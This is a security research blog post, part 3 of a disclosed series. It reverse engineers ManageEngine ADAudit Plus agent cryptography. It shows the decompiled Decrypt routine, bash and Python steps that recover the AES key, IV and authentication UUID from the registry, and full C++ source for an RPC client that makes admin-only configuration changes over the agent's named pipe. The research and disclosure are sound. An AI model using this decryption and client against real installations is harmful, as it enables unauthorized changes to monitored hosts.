ManageEngine ADAudit - Reverse engineering Windows RPC to find CVEs - part 3/reverse engineering cryptography

Background

If you followed along part 1 and part 2 of this research you know that we built a custom adauditrpc-client and then reverse engineered the agent to successfully use it to make configuration changes on the host system of the agent.

The requirement for this custom RPC client to successfully authenticate was:

  • Authenticated remote SMB or local access to the named pipe exposed by the agent.
  • AgentUID stored in the registry hive.

When this vulnerability was about to be reported to the team at ManageEngine a small detail was discovered:

- “We are not using the latest version”

So the ADAudit Plus server used in this research was upgraded from 7050 to 7251 as well as the ADAudit Agent and hope was placed that the POC should work even on the latest version. It did not.

Security mitigation

To figure out what was wrong with our custom RPC client we decompiled the ADAPAgent.exe once again with dnSpy to see if anything had changed between the versions.

We start by analyzing the NotifyAgentStr function that was called via the custom adauditrpc-client. Interesting, a new value is being checked:

private static int NotifyAgentStr(int notifyId, string msgStr)
{
	int errStatus = 1;
	try
	{
		Hashtable msgMap = JsonAPI.JsonToHashtable(msgStr);
-		if (msgMap.ContainsKey("AgentUID") && DataStore.Get("AgentUID").ToString().Equals(msgMap["AgentUID"].ToString()))
+		if (msgMap.ContainsKey("AgentAuthID") && string.Equals(DataStore.Get("AgentAuthID").ToString(), msgMap["AgentAuthID"].ToString(), StringComparison.CurrentCultureIgnoreCase))
		{
			errStatus = 0;
[...]

The value AgentUID that we previously used as authentication is now replaced with AgentAuthID. Lets check this out in the registry:

encrypted-agentauthid-in-the-registry

It is a long value and as it does not match any known hash, it’s likely encrypted:

user@adpen1:~$ hash-identifier 

HASH: MzZc42XU0S9wd1QqDhxZf7djz3laBswMY57K5H0aMclEYWnS+iAy6wsnKuF31TYKNw8Lk1D3ijxqEcVcDaMG3SBtBJU7/KX/EyVs9H//Q+XZn/OGkNcW4Of7b8mNXHKI0N0a

Not Found.

base64 decode piping to xxd does not give any more clues:

user@adpen1:~$ echo -n MzZc42XU0S9wd1QqDhxZf7djz3laBswMY57K5H0aMclEYWnS+iAy6wsnKuF31TYKNw8Lk1D3ijxqEcVcDaMG3SBtBJU7/KX/EyVs9H//Q+XZn/OGkNcW4Of7b8mNXHKI0N0a | base64 -d | xxd
00000000: 3336 5ce3 65d4 d12f 7077 542a 0e1c 597f  36\.e../pwT*..Y.
00000010: b763 cf79 5a06 cc0c 639e cae4 7d1a 31c9  .c.yZ...c...}.1.
00000020: 4461 69d2 fa20 32eb 0b27 2ae1 77d5 360a  Dai.. 2..'*.w.6.
00000030: 370f 0b93 50f7 8a3c 6a11 c55c 0da3 06dd  7...P..<j..\....
00000040: 206d 0495 3bfc a5ff 1325 6cf4 7fff 43e5   m..;....%l...C.
00000050: d99f f386 90d7 16e0 e7fb 6fc9 8d5c 7288  ..........o..\r.
00000060: d0dd 1a                                  ...

Lets continue reviewing the ADAPAgent.exe source code. If we follow the DataStore.Get() function we can see at line 459 that the Cryptography.Decrypt() is called.

decryption-process-of-adapagent

This looks fun:

1:  // Agent.Common.Helpers.Cryptography
2:  // Token: 0x060002A0 RID: 672 RVA: 0x00019E3C File Offset: 0x0001803C
3:  public static string Decrypt(string cipherStr)
4:  {
5:      string output = null;
6:      try
7:      {
8:	    	if (string.IsNullOrEmpty(cipherStr) || cipherStr.Length < 32)
9:	    	{
10:	    		Logger.Event.InfoFormat("String cannot be Decrypted", new object[0]);
11:	    		return output;
12:	    	}
13:	    	byte[] cipherText = Convert.FromBase64String(cipherStr);
14:	    	byte terminateByte = 92;
15:	    	int plainTextIndex = Array.IndexOf<byte>(cipherText, terminateByte);
16:	    	int plainTextLength = int.Parse(Encoding.ASCII.GetString(cipherText.Take(plainTextIndex).ToArray<byte>()));
17:	    	plainTextLength += 16 - plainTextLength % 16;
18:	    	plainTextIndex++;
19:	    	using (Aes aes = Aes.Create())
20:	    	{
21:	    		aes.Key = cipherText.Skip(plainTextIndex).Take(32).ToArray<byte>();
22:	    		aes.IV = cipherText.Skip(32 + plainTextIndex).Take(16).ToArray<byte>();
23:	    		cipherText = cipherText.Skip(48 + plainTextIndex).Take(plainTextLength).ToArray<byte>();
24:	    		Aes aes2 = aes;
25:	    		byte[] plainTextBytes = aes2.CreateDecryptor(aes2.Key, aes.IV).TransformFinalBlock(cipherText, 0, cipherText.Length);
26:	    		output = Encoding.UTF8.GetString(plainTextBytes);
27:	    	}
28:     }
29:	    catch (Exception ex)
30:     {
31:	        Logger.Event.ErrorFormat("Exception in Decrypt: " + ex.Message, new object[0]);
32:	    	return null;
33:	    }
34:	    return output;
35: }

Lets break down the code:

  • Line 13 takes the cipherStr (aka AgentAuthID) and base64 decodes it.

    13:	    	byte[] cipherText = Convert.FromBase64String(cipherStr);
    
  • Line 14 creates a terminateByte variable where 92 in decimal ascii represents \ or \x5c in hex.

    14:	    	byte terminateByte = 92;
    
  • Line 15 creates an int named plainTextIndex. This code excerpt finds the position of the first occurring \

    15:	    	int plainTextIndex = Array.IndexOf<byte>(cipherText, terminateByte);
    
  • Line 16 creates an int named plainTextLength which contains the string in our cipherStr up to the first \.

    16:	    	int plainTextLength = int.Parse(Encoding.ASCII.GetString(cipherText.Take(plainTextIndex).ToArray<byte>()));
    

    This is actually sane if you remember our xxd output. Could our plainText be 36 charachters long?:

        user@adpen1:~$ echo -n MzZ[...]N0a | base64 -d | xxd
        00000000: 3336 5ce3 65d4 d12f 7077 542a 0e1c 597f  36\.e../pwT*..Y.
        00000010: b763 cf79 5a06 cc0c 639e cae4 7d1a 31c9  .c.yZ...c...}.1.
        00000020: 4461 69d2 fa20 32eb 0b27 2ae1 77d5 360a  Dai.. 2..'*.w.6.
        00000030: 370f 0b93 50f7 8a3c 6a11 c55c 0da3 06dd  7...P..<j..\....
        00000040: 206d 0495 3bfc a5ff 1325 6cf4 7fff 43e5   m..;....%l...C.
        00000050: d99f f386 90d7 16e0 e7fb 6fc9 8d5c 7288  ..........o..\r.
        00000060: d0dd 1a                                  ...
    
  • Line 17 increases to our plainTextLength to ensure that the length of the int is a multiple of 16 bytes, which is a requirement for the AES block cipher.

    17:	    	plainTextLength += 16 - plainTextLength % 16;
    
  • Line 18 adds 1 to our plainTextIndex to point at the first byte after \

    18:	    	plainTextIndex++;
    

Line 19-27 is the decryption process:

  • Line 21 create an AES key with bytes stored at plainTextIndex (3) + 32 bytes

    21:	aes.Key = cipherText.Skip(plainTextIndex).Take(32).ToArray<byte>();
    

    This can be recreated in bash by, base64 decode the AgentAuthID and pipe it to xxd. -s 3 to set starting byte at 3, -l 32 to stop after 32 bytes and finally -c 200 to disable output formatting. The output should be our AES key.

    user@adpen1:~$ echo -n MzZ[...]N0a | base64 -d | xxd -s 3 -l 32 -c 200
    00000003: e365 d4d1 2f70 7754 2a0e 1c59 7fb7 63cf 795a 06cc 0c63 9eca e47d 1a31 c944 6169
    
  • Line 22 creates an AES Initialization Vector (IV) from the bytes stored at (32+3) + 16

    22:	aes.IV = cipherText.Skip(32 + plainTextIndex).Take(16).ToArray<byte>();
    
    user@adpen1:~$ echo -n MzZ[...]N0a | base64 -d | xxd -s 35 -l 16 -c 200
    00000023: d2fa 2032 eb0b 272a e177 d536 0a37 0f0b
    
  • Line 23 fetches the cipherText from our AgentAuthID at byte (48+3) until plainTextLength (36)

    23:	cipherText = cipherText.Skip(48 + plainTextIndex).Take(plainTextLength).ToArray<byte>();
    
    user@adpen1:~$ echo -n MzZ[...]N0a | base64 -d | xxd -s 51 -l 36 -c 200
    00000033: 9350 f78a 3c6a 11c5 5c0d a306 dd20 6d04 953b fca5 ff13 256c f47f ff43 e5d9 9ff3 8690 d716
    

To summarize, the AgentAuthID that is stored in the Windows registry is a base64 blob, containing the length of the plaintext, the AES key, the Initialization Vector and the encrypted text. With this information we should be able to decrypt ciphertext.

Here is a bash one-liner to extract our requirements:

user@adpen1:~$ bytes=$(echo -n MzZc42XU0S9wd1QqDhxZf7djz3laBswMY57K5H0aMclEYWnS+iAy6wsnKuF31TYKNw8Lk1D3ijxqEcVcDaMG3SBtBJU7/KX/EyVs9H//Q+XZn/OGkNcW4Of7b8mNXHKI0N0a | base64 -d | xxd -p -c 200)

user@adpen1:~$ echo -e "Length: ${bytes:0:4}\nKey: ${bytes:6:64}\nIV: ${bytes:70:32}\nciphertext: ${bytes:102:174}"
Length: 3336
Key: e365d4d12f7077542a0e1c597fb763cf795a06cc0c639ecae47d1a31c9446169
IV: d2fa2032eb0b272ae177d5360a370f0b
ciphertext: 9350f78a3c6a11c55c0da306dd206d04953bfca5ff13256cf47fff43e5d99ff38690d716e0e7fb6fc98d5c7288d0dd1a

Note that the output above is in HEX string format. Meaning that Length: is two bytes which can be converted to ASCII:

HEX String HEX DEC ASCII
33 0x33 51 3
36 0x36 54 6

Lets try to decrypt the ciphertext using python3:

from Crypto.Cipher import AES
# pip3 install pycryptodome

key = bytes.fromhex("e365d4d12f7077542a0e1c597fb763cf795a06cc0c639ecae47d1a31c9446169")
iv = bytes.fromhex("d2fa2032eb0b272ae177d5360a370f0b")
ciphertext = bytes.fromhex("9350f78a3c6a11c55c0da306dd206d04953bfca5ff13256cf47fff43e5d99ff38690d716e0e7fb6fc98d5c7288d0dd1a")

aes = AES.new(key, AES.MODE_CBC, iv)
print(aes.decrypt(ciphertext).decode('utf-8'))
user@adpen1:~$ python3 decrypt_agentauthid.py
75fdc297-acc9-4ddb-83da-313cd909f3d6

user@adpen1:~$ echo -n 75fdc297-acc9-4ddb-83da-313cd909f3d6 | wc -c
36

Very nice. We have UUID, and yes it was 36 characters long. We can test this as authentication when we communicate with the ADAudit Agent.

Once again we attempt to change the registry item SMStatus to “True” to enable the SessionMonitoring process, an action which should only be available to administrators.

POC:

adauditagent-rpc-activating-smstatus-with-agenauthid

The adauditrpc-client has be updated with input arguments and the latest version will be found at our github page https://github.com/shelltrail/adauditrpc-client

/* file: adauditrpc-client.cpp */
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include "ADAPAgentRpcPipe_h.h"
#include <windows.h>
#pragma comment(lib, "rpcrt4.lib")
#include <iostream>

int wmain(int argc, wchar_t* argv[])
{
    if (argc < 5) {
        wprintf(L"Usage: %ls <IP> <AgentGUID> <case> <inputdata>\n", argv[0]);
        wprintf(L"Example - Enable SessionMonitoring: %ls 127.0.0.1 \"1699964702085\" 0 \'\"\"\"SMData\"\"\":{\"\"\"SMStatus\"\"\":\"\"\"True\"\"\"}\'\n", argv[0]);
        wprintf(L"Example - Enable Debug: %ls 127.0.0.1 \"1699964702085\" 8 \'\"\"\"ENABLE_DEBUG\"\"\":true\'\n", argv[0]);
        return 1;
    }

    const wchar_t* ip = argv[1];
    RPC_WSTR NetworkAddress = (RPC_WSTR)ip;
    printf("[+] Accessing ADAPAgentRpcPipe named pipe on: %ls\n", ip);

    const wchar_t* agentuid = argv[2];
    printf("[+] Using AgentUID: %ls\n", agentuid);

    long arg_0 = std::wcstol(argv[3], nullptr, 10);
    printf("[+] Case: %i\n", arg_0);

    const wchar_t* inputdata = argv[4];
    wchar_t str1[256] = L"{\"AgentUID\":\""; // Make sure the array is large enough
    wcscat_s(str1, agentuid); // Concatenates str1 and agentuid
    wcscat_s(str1, L"\","); // Concatenates str1 and ,
    wcscat_s(str1, inputdata); // Concatenates str1 and inputdata
    wcscat_s(str1, L"}"); // Concatenates str1 with }"
    wprintf(L"[+] InputData: %ls\n", str1);

    RPC_STATUS status;
    RPC_WSTR pszUuid = NULL;
    RPC_WSTR pszProtocolSequence = (RPC_WSTR)L"ncacn_np";
    //RPC_WSTR pszNetworkAddress = (RPC_WSTR)L"100.64.5.212";
    RPC_WSTR pszNetworkAddress = NetworkAddress;
    RPC_WSTR pszEndpoint = (RPC_WSTR)L"\\pipe\\ADAPAgentRpcPipe";
    RPC_WSTR pszOptions = NULL;
    RPC_WSTR pszStringBinding = NULL;
    //unsigned char * pszString           = "hello, world";
    unsigned long ulCode;

    status = RpcStringBindingCompose(pszUuid,
        pszProtocolSequence,
        pszNetworkAddress,
        pszEndpoint,
        pszOptions,
        &pszStringBinding);
    if (status) exit(status);

    status = RpcBindingFromStringBinding(pszStringBinding, &DefaultIfName_v1_0_c_ifspec);

    if (status) exit(status);

    long arg2_pointer;
    long* arg_2 = &arg2_pointer;
    RpcTryExcept
    {
        Proc1(DefaultIfName_v1_0_c_ifspec, arg_0, str1, arg_2);
    }
        RpcExcept(1)
    {
        ulCode = RpcExceptionCode();
        printf("Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode);
    }
    RpcEndExcept

        status = RpcStringFree(&pszStringBinding);

    if (status) exit(status);

    status = RpcBindingFree(&DefaultIfName_v1_0_c_ifspec);

    if (status) exit(status);

    exit(0);
}

/******************************************************/
/*         MIDL allocate and free                     */
/******************************************************/

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
    return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
    free(ptr);
}

Summary

In this article we managed to reverse engineer the decryption process of an encrypted value stored in Windows registry. This decrypted value was an UUID used as a means of authentication when doing configuration changes via the ADAudit Agent.

It was a fun and educative process to bit by bit lay the puzzle to reach the objective and we at Shelltrail hope you enjoyed following along!

Thanks to ManageEngine (Zoho Corp) for handling the disclosure process.

In our three part series of security assessing ADAudit Plus we:

  • Part 1 - Reverse engineered our way to build a RPC client
  • Part 2 - Reverse engineered our way to craft valid input to the RPC server
  • Part 3 - Reverse engineered our way to decrypt and AES encrypted cipher stored in Windows registry